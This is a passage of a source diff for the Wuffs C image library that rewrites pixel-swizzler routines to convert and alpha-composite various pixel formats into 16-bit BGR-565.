? dst_len4 : src_len4; -+ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; -@@ -22344,13 +23396,12 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_premul__src_over( - // TODO: unroll. - - while (n >= 1) { -- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); -- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), wuffs_base__composite_premul_premul_u32_axxx(d0, s0)); -+ wuffs_base__poke_u16le__no_bounds_check( -+ d + (0 * 2), wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( -+ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); - - s += 1 * 4; -- d += 1 * 4; -+ d += 1 * 2; - n -= 1; - } - -@@ -22358,19 +23409,16 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_premul__src_over( - } - - static uint64_t // --wuffs_base__pixel_swizzler__bgra_premul__index_bgra_nonpremul__src_over( -+wuffs_private_impl__swizzle_bgr_565__bgra_premul__src_over( - uint8_t* dst_ptr, - size_t dst_len, - uint8_t* dst_palette_ptr, - size_t dst_palette_len, - const uint8_t* src_ptr, - size_t src_len) { -- if (dst_palette_len != -- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -- return 0; -- } -- size_t dst_len4 = dst_len / 4; -- size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; -+ size_t dst_len2 = dst_len / 2; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; -@@ -22378,14 +23426,38 @@ wuffs_base__pixel_swizzler__bgra_premul__index_bgra_nonpremul__src_over( - // TODO: unroll. - - while (n >= 1) { -- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); -- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -- ((size_t)s[0] * 4)); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), wuffs_base__composite_premul_nonpremul_u32_axxx(d0, s0)); -+ // Extract 16-bit color components. -+ uint32_t sa = 0x101 * ((uint32_t)s[3]); -+ uint32_t sr = 0x101 * ((uint32_t)s[2]); -+ uint32_t sg = 0x101 * ((uint32_t)s[1]); -+ uint32_t sb = 0x101 * ((uint32_t)s[0]); - -- s += 1 * 1; -- d += 1 * 4; -+ // Convert from 565 color to 16-bit color. -+ uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); -+ uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); -+ uint32_t dr = (0x8421 * old_r5) >> 4; -+ uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); -+ uint32_t dg = (0x1041 * old_g6) >> 2; -+ uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); -+ uint32_t db = (0x8421 * old_b5) >> 4; -+ -+ // Calculate the inverse of the src-alpha: how much of the dst to keep. -+ uint32_t ia = 0xFFFF - sa; -+ -+ // Composite src (premul) over dst (premul). -+ dr = sr + ((dr * ia) / 0xFFFF); -+ dg = sg + ((dg * ia) / 0xFFFF); -+ db = sb + ((db * ia) / 0xFFFF); -+ -+ // Convert from 16-bit color to 565 color and combine the components. -+ uint32_t new_r5 = 0x1F & (dr >> 11); -+ uint32_t new_g6 = 0x3F & (dg >> 10); -+ uint32_t new_b5 = 0x1F & (db >> 11); -+ uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); -+ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); -+ -+ s += 1 * 4; -+ d += 1 * 2; - n -= 1; - } - -@@ -22393,16 +23465,15 @@ wuffs_base__pixel_swizzler__bgra_premul__index_bgra_nonpremul__src_over( - } - - static uint64_t // --wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len4 = dst_len / 4; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; -+wuffs_private_impl__swizzle_bgr_565__rgb(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len2 = dst_len / 2; -+ size_t src_len3 = src_len / 3; -+ size_t len = (dst_len2 < src_len3) ? dst_len2 : src_len3; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; -@@ -22410,14 +23481,14 @@ wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src( - // TODO: unroll. - - while (n >= 1) { -- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( -- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), -- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(s0)); -+ uint32_t r5 = (uint32_t)(s[0] >> 3); -+ uint32_t g6 = (uint32_t)(s[1] >> 2); -+ uint32_t b5 = (uint32_t)(s[2] >> 3); -+ uint32_t rgb_565 = (r5 << 11) | (g6 << 5) | (b5 << 0); -+ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); - -- s += 1 * 4; -- d += 1 * 4; -+ s += 1 * 3; -+ d += 1 * 2; - n -= 1; - } - -@@ -22425,16 +23496,16 @@ wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src( - } - - static uint64_t // --wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src_over( -+wuffs_private_impl__swizzle_bgr_565__rgba_nonpremul__src( - uint8_t* dst_ptr, - size_t dst_len, - uint8_t* dst_palette_ptr, - size_t dst_palette_len, - const uint8_t* src_ptr, - size_t src_len) { -- size_t dst_len4 = dst_len / 4; -+ size_t dst_len2 = dst_len / 2; - size_t src_len4 = src_len / 4; -- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; -+ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; -@@ -22442,14 +23513,15 @@ wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src_over( - // TODO: unroll. - - while (n >= 1) { -- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); -- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( -- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), wuffs_base__composite_premul_nonpremul_u32_axxx(d0, s0)); -+ wuffs_base__poke_u16le__no_bounds_check( -+ d + (0 * 2), -+ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( -+ wuffs_private_impl__swap_u32_argb_abgr( -+ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( -+ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))))); - - s += 1 * 4; -- d += 1 * 4; -+ d += 1 * 2; - n -= 1; - } - -@@ -22457,16 +23529,16 @@ wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src_over( - } - - static uint64_t // --wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul_4x16le__src( -+wuffs_private_impl__swizzle_bgr_565__rgba_nonpremul__src_over( - uint8_t* dst_ptr, - size_t dst_len, - uint8_t* dst_palette_ptr, - size_t dst_palette_len, - const uint8_t* src_ptr, - size_t src_len) { -- size_t dst_len4 = dst_len / 4; -- size_t src_len8 = src_len / 8; -- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; -+ size_t dst_len2 = dst_len / 2; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; -@@ -22474,32 +23546,54 @@ wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul_4x16le__src( - // TODO: unroll. - - while (n >= 1) { -- uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), -- wuffs_base__swap_u32_argb_abgr( -- wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( -- s0))); -- -- s += 1 * 8; -- d += 1 * 4; -- n -= 1; -+ // Extract 16-bit color components. -+ uint32_t sa = 0x101 * ((uint32_t)s[3]); -+ uint32_t sb = 0x101 * ((uint32_t)s[2]); -+ uint32_t sg = 0x101 * ((uint32_t)s[1]); -+ uint32_t sr = 0x101 * ((uint32_t)s[0]); -+ -+ // Convert from 565 color to 16-bit color. -+ uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); -+ uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); -+ uint32_t dr = (0x8421 * old_r5) >> 4; -+ uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); -+ uint32_t dg = (0x1041 * old_g6) >> 2; -+ uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); -+ uint32_t db = (0x8421 * old_b5) >> 4; -+ -+ // Calculate the inverse of the src-alpha: how much of the dst to keep. -+ uint32_t ia = 0xFFFF - sa; -+ -+ // Composite src (nonpremul) over dst (premul). -+ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; -+ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; -+ db = ((sb * sa) + (db * ia)) / 0xFFFF; -+ -+ // Convert from 16-bit color to 565 color and combine the components. -+ uint32_t new_r5 = 0x1F & (dr >> 11); -+ uint32_t new_g6 = 0x3F & (dg >> 10); -+ uint32_t new_b5 = 0x1F & (db >> 11); -+ uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); -+ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); -+ -+ s += 1 * 4; -+ d += 1 * 2; -+ n -= 1; - } - - return len; - } - - static uint64_t // --wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul_4x16le__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len4 = dst_len / 4; -- size_t src_len8 = src_len / 8; -- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; -+wuffs_private_impl__swizzle_bgr_565__rgba_premul__src(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len2 = dst_len / 2; -+ size_t src_len4 = src_len / 4; -+ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; -@@ -22507,17 +23601,14 @@ wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul_4x16le__src_over( - // TODO: unroll. - - while (n >= 1) { -- uint64_t d0 = wuffs_base__color_u32__as__color_u64( -- wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); -- uint64_t s0 = wuffs_base__swap_u64_argb_abgr( -- wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8))); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), -- wuffs_base__color_u64__as__color_u32( -- wuffs_base__composite_premul_nonpremul_u64_axxx(d0, s0))); -+ wuffs_base__poke_u16le__no_bounds_check( -+ d + (0 * 2), -+ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( -+ wuffs_private_impl__swap_u32_argb_abgr( -+ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))))); - -- s += 1 * 8; -- d += 1 * 4; -+ s += 1 * 4; -+ d += 1 * 2; - n -= 1; - } - -@@ -22525,47 +23616,70 @@ wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul_4x16le__src_over( - } - - static uint64_t // --wuffs_base__pixel_swizzler__bgra_premul__rgba_premul__src_over( -+wuffs_private_impl__swizzle_bgr_565__rgba_premul__src_over( - uint8_t* dst_ptr, - size_t dst_len, - uint8_t* dst_palette_ptr, - size_t dst_palette_len, - const uint8_t* src_ptr, - size_t src_len) { -- size_t dst_len4 = dst_len / 4; -+ size_t dst_len2 = dst_len / 2; - size_t src_len4 = src_len / 4; -- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; -+ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; - -+ // TODO: unroll. -+ - while (n >= 1) { -- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); -- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( -- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), wuffs_base__composite_premul_premul_u32_axxx(d0, s0)); -+ // Extract 16-bit color components. -+ uint32_t sa = 0x101 * ((uint32_t)s[3]); -+ uint32_t sb = 0x101 * ((uint32_t)s[2]); -+ uint32_t sg = 0x101 * ((uint32_t)s[1]); -+ uint32_t sr = 0x101 * ((uint32_t)s[0]); -+ -+ // Convert from 565 color to 16-bit color. -+ uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); -+ uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); -+ uint32_t dr = (0x8421 * old_r5) >> 4; -+ uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); -+ uint32_t dg = (0x1041 * old_g6) >> 2; -+ uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); -+ uint32_t db = (0x8421 * old_b5) >> 4; -+ -+ // Calculate the inverse of the src-alpha: how much of the dst to keep. -+ uint32_t ia = 0xFFFF - sa; -+ -+ // Composite src (premul) over dst (premul). -+ dr = sr + ((dr * ia) / 0xFFFF); -+ dg = sg + ((dg * ia) / 0xFFFF); -+ db = sb + ((db * ia) / 0xFFFF); -+ -+ // Convert from 16-bit color to 565 color and combine the components. -+ uint32_t new_r5 = 0x1F & (dr >> 11); -+ uint32_t new_g6 = 0x3F & (dg >> 10); -+ uint32_t new_b5 = 0x1F & (db >> 11); -+ uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); -+ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); - - s += 1 * 4; -- d += 1 * 4; -+ d += 1 * 2; - n -= 1; - } - - return len; - } - --// -------- -- - static uint64_t // --wuffs_base__pixel_swizzler__bgrw__bgr(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len4 = dst_len / 4; -- size_t src_len3 = src_len / 3; -- size_t len = (dst_len4 < src_len3) ? dst_len4 : src_len3; -+wuffs_private_impl__swizzle_bgr_565__y(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len2 = dst_len / 2; -+ size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; -@@ -22573,12 +23687,13 @@ wuffs_base__pixel_swizzler__bgrw__bgr(uint8_t* dst_ptr, - // TODO: unroll. - - while (n >= 1) { -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), -- 0xFF000000 | wuffs_base__peek_u24le__no_bounds_check(s + (0 * 3))); -+ uint32_t y5 = (uint32_t)(s[0] >> 3); -+ uint32_t y6 = (uint32_t)(s[0] >> 2); -+ uint32_t rgb_565 = (y5 << 11) | (y6 << 5) | (y5 << 0); -+ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); - -- s += 1 * 3; -- d += 1 * 4; -+ s += 1 * 1; -+ d += 1 * 2; - n -= 1; - } - -@@ -22586,15 +23701,15 @@ wuffs_base__pixel_swizzler__bgrw__bgr(uint8_t* dst_ptr, - } - - static uint64_t // --wuffs_base__pixel_swizzler__bgrw__bgr_565(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len4 = dst_len / 4; -+wuffs_private_impl__swizzle_bgr_565__y_16be(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len2 = dst_len / 2; - size_t src_len2 = src_len / 2; -- size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; -+ size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; -@@ -22602,12 +23717,13 @@ wuffs_base__pixel_swizzler__bgrw__bgr_565(uint8_t* dst_ptr, - // TODO: unroll. - - while (n >= 1) { -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( -- wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2)))); -+ uint32_t y5 = (uint32_t)(s[0] >> 3); -+ uint32_t y6 = (uint32_t)(s[0] >> 2); -+ uint32_t rgb_565 = (y5 << 11) | (y6 << 5) | (y5 << 0); -+ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); - - s += 1 * 2; -- d += 1 * 4; -+ d += 1 * 2; - n -= 1; - } - -@@ -22615,15 +23731,15 @@ wuffs_base__pixel_swizzler__bgrw__bgr_565(uint8_t* dst_ptr, - } - - static uint64_t // --wuffs_base__pixel_swizzler__bgrw__bgrx(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len4 = dst_len / 4; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; -+wuffs_private_impl__swizzle_bgr_565__ya_nonpremul__src(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len2 = dst_len / 2; -+ size_t src_len2 = src_len / 2; -+ size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; -@@ -22631,100 +23747,121 @@ wuffs_base__pixel_swizzler__bgrw__bgrx(uint8_t* dst_ptr, - // TODO: unroll. - - while (n >= 1) { -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), -- 0xFF000000 | wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); -+ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); - -- s += 1 * 4; -- d += 1 * 4; -+ wuffs_base__poke_u16le__no_bounds_check( -+ d + (0 * 2), -+ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( -+ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( -+ s0))); -+ -+ s += 1 * 2; -+ d += 1 * 2; - n -= 1; - } - - return len; - } - --// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") - static uint64_t // --wuffs_base__pixel_swizzler__bgrw__rgb__x86_sse42(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len4 = dst_len / 4; -- size_t src_len3 = src_len / 3; -- size_t len = (dst_len4 < src_len3) ? dst_len4 : src_len3; -+wuffs_private_impl__swizzle_bgr_565__ya_nonpremul__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len2 = dst_len / 2; -+ size_t src_len2 = src_len / 2; -+ size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; - -- __m128i shuffle = _mm_set_epi8(+0x00, +0x09, +0x0A, +0x0B, // -- +0x00, +0x06, +0x07, +0x08, // -- +0x00, +0x03, +0x04, +0x05, // -- +0x00, +0x00, +0x01, +0x02); -- __m128i or_ff = _mm_set_epi8(-0x01, +0x00, +0x00, +0x00, // -- -0x01, +0x00, +0x00, +0x00, // -- -0x01, +0x00, +0x00, +0x00, // -- -0x01, +0x00, +0x00, +0x00); -+ // TODO: unroll. - -- while (n >= 6) { -- __m128i x; -- x = _mm_lddqu_si128((const __m128i*)(const void*)s); -- x = _mm_shuffle_epi8(x, shuffle); -- x = _mm_or_si128(x, or_ff); -- _mm_storeu_si128((__m128i*)(void*)d, x); -+ while (n >= 1) { -+ // Extract 16-bit color components. -+ uint32_t sa = 0x101 * ((uint32_t)s[1]); -+ uint32_t sy = 0x101 * ((uint32_t)s[0]); - -- s += 4 * 3; -- d += 4 * 4; -- n -= 4; -- } -+ // Convert from 565 color to 16-bit color. -+ uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); -+ uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); -+ uint32_t dr = (0x8421 * old_r5) >> 4; -+ uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); -+ uint32_t dg = (0x1041 * old_g6) >> 2; -+ uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); -+ uint32_t db = (0x8421 * old_b5) >> 4; - -- while (n >= 1) { -- uint8_t b0 = s[0]; -- uint8_t b1 = s[1]; -- uint8_t b2 = s[2]; -- d[0] = b2; -- d[1] = b1; -- d[2] = b0; -- d[3] = 0xFF; -+ // Calculate the inverse of the src-alpha: how much of the dst to keep. -+ uint32_t ia = 0xFFFF - sa; - -- s += 1 * 3; -- d += 1 * 4; -+ // Composite src (nonpremul) over dst (premul). -+ dr = ((sy * sa) + (dr * ia)) / 0xFFFF; -+ dg = ((sy * sa) + (dg * ia)) / 0xFFFF; -+ db = ((sy * sa) + (db * ia)) / 0xFFFF; -+ -+ // Convert from 16-bit color to 565 color and combine the components. -+ uint32_t new_r5 = 0x1F & (dr >> 11); -+ uint32_t new_g6 = 0x3F & (dg >> 10); -+ uint32_t new_b5 = 0x1F & (db >> 11); -+ uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); -+ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); -+ -+ s += 1 * 2; -+ d += 1 * 2; - n -= 1; - } - - return len; - } --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 - - static uint64_t // --wuffs_base__pixel_swizzler__bgrw__rgb(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len4 = dst_len / 4; -- size_t src_len3 = src_len / 3; -- size_t len = (dst_len4 < src_len3) ? dst_len4 : src_len3; -+wuffs_private_impl__swizzle_bgr_565__index__src(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ if (dst_palette_len != -+ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -+ return 0; -+ } -+ size_t dst_len2 = dst_len / 2; -+ size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; - -+ const size_t loop_unroll_count = 4; -+ -+ while (n >= loop_unroll_count) { -+ wuffs_base__poke_u16le__no_bounds_check( -+ d + (0 * 2), wuffs_base__peek_u16le__no_bounds_check( -+ dst_palette_ptr + ((size_t)s[0] * 4))); -+ wuffs_base__poke_u16le__no_bounds_check( -+ d + (1 * 2), wuffs_base__peek_u16le__no_bounds_check( -+ dst_palette_ptr + ((size_t)s[1] * 4))); -+ wuffs_base__poke_u16le__no_bounds_check( -+ d + (2 * 2), wuffs_base__peek_u16le__no_bounds_check( -+ dst_palette_ptr + ((size_t)s[2] * 4))); -+ wuffs_base__poke_u16le__no_bounds_check( -+ d + (3 * 2), wuffs_base__peek_u16le__no_bounds_check( -+ dst_palette_ptr + ((size_t)s[3] * 4))); -+ -+ s += loop_unroll_count * 1; -+ d += loop_unroll_count * 2; -+ n -= loop_unroll_count; -+ } -+ - while (n >= 1) { -- uint8_t b0 = s[0]; -- uint8_t b1 = s[1]; -- uint8_t b2 = s[2]; -- d[0] = b2; -- d[1] = b1; -- d[2] = b0; -- d[3] = 0xFF; -+ wuffs_base__poke_u16le__no_bounds_check( -+ d + (0 * 2), wuffs_base__peek_u16le__no_bounds_check( -+ dst_palette_ptr + ((size_t)s[0] * 4))); - -- s += 1 * 3; -- d += 1 * 4; -+ s += 1 * 1; -+ d += 1 * 2; - n -= 1; - } - -@@ -22732,15 +23869,19 @@ wuffs_base__pixel_swizzler__bgrw__rgb(uint8_t* dst_ptr, - } - - static uint64_t // --wuffs_base__pixel_swizzler__bgrw__rgbx(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len4 = dst_len / 4; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; -+wuffs_private_impl__swizzle_bgr_565__index_bgra_nonpremul__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ if (dst_palette_len != -+ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -+ return 0; -+ } -+ size_t dst_len2 = dst_len / 2; -+ size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; -@@ -22748,82 +23889,83 @@ wuffs_base__pixel_swizzler__bgrw__rgbx(uint8_t* dst_ptr, - // TODO: unroll. - - while (n >= 1) { -- uint8_t b0 = s[0]; -- uint8_t b1 = s[1]; -- uint8_t b2 = s[2]; -- d[0] = b2; -- d[1] = b1; -- d[2] = b0; -- d[3] = 0xFF; -+ uint32_t d0 = wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( -+ wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2))); -+ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -+ ((size_t)s[0] * 4)); -+ wuffs_base__poke_u16le__no_bounds_check( -+ d + (0 * 2), -+ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( -+ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0))); - -- s += 1 * 4; -- d += 1 * 4; -+ s += 1 * 1; -+ d += 1 * 2; - n -= 1; - } - - return len; - } - --// -------- -- - static uint64_t // --wuffs_base__pixel_swizzler__bgrw_4x16le__bgr(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len8 = dst_len / 8; -- size_t src_len3 = src_len / 3; -- size_t len = (dst_len8 < src_len3) ? dst_len8 : src_len3; -+wuffs_private_impl__swizzle_bgr_565__index_binary_alpha__src_over( -+ uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ if (dst_palette_len != -+ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -+ return 0; -+ } -+ size_t dst_len2 = dst_len / 2; -+ size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; - -+ // TODO: unroll. -+ - while (n >= 1) { -- uint8_t s0 = s[0]; -- uint8_t s1 = s[1]; -- uint8_t s2 = s[2]; -- d[0] = s0; -- d[1] = s0; -- d[2] = s1; -- d[3] = s1; -- d[4] = s2; -- d[5] = s2; -- d[6] = 0xFF; -- d[7] = 0xFF; -+ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -+ ((size_t)s[0] * 4)); -+ if (s0) { -+ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)s0); -+ } - -- s += 1 * 3; -- d += 1 * 8; -+ s += 1 * 1; -+ d += 1 * 2; - n -= 1; - } - - return len; - } - -+// -------- -+ - static uint64_t // --wuffs_base__pixel_swizzler__bgrw_4x16le__bgr_565(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, 